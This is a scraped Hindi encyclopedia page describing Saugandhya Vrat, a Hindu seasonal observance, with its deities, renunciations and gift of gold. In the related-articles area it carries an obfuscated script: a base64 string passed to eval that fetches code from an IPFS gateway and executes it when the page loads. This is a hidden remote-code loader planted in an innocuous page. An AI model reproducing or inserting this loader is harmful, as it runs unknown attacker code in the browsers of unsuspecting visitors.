सौगन्ध्य व्रत  

  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
  • यह ऋतुव्रत है।
  • देवता शिव एवं केशव की पूजा करनी चाहिए।
  • हेमन्त एवं शिशिर में पुष्पों का तथा फाल्गुन पूर्णिमा को तीन प्रकार के सुगन्धित पत्रों का त्याग करना चाहिए।
  • 'शिव एवं केशव मुझ पर प्रसन्न हों' के साथ कुछ सोने का दान करना चाहिए।[१]


टीका टिप्पणी और संदर्भ

  1. हेमाद्रि (व्रतखण्ड 2, 860

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः



"https://amp.bharatdiscovery.org/w/index.php?title=सौगन्ध्य_व्रत&oldid=188619" से लिया गया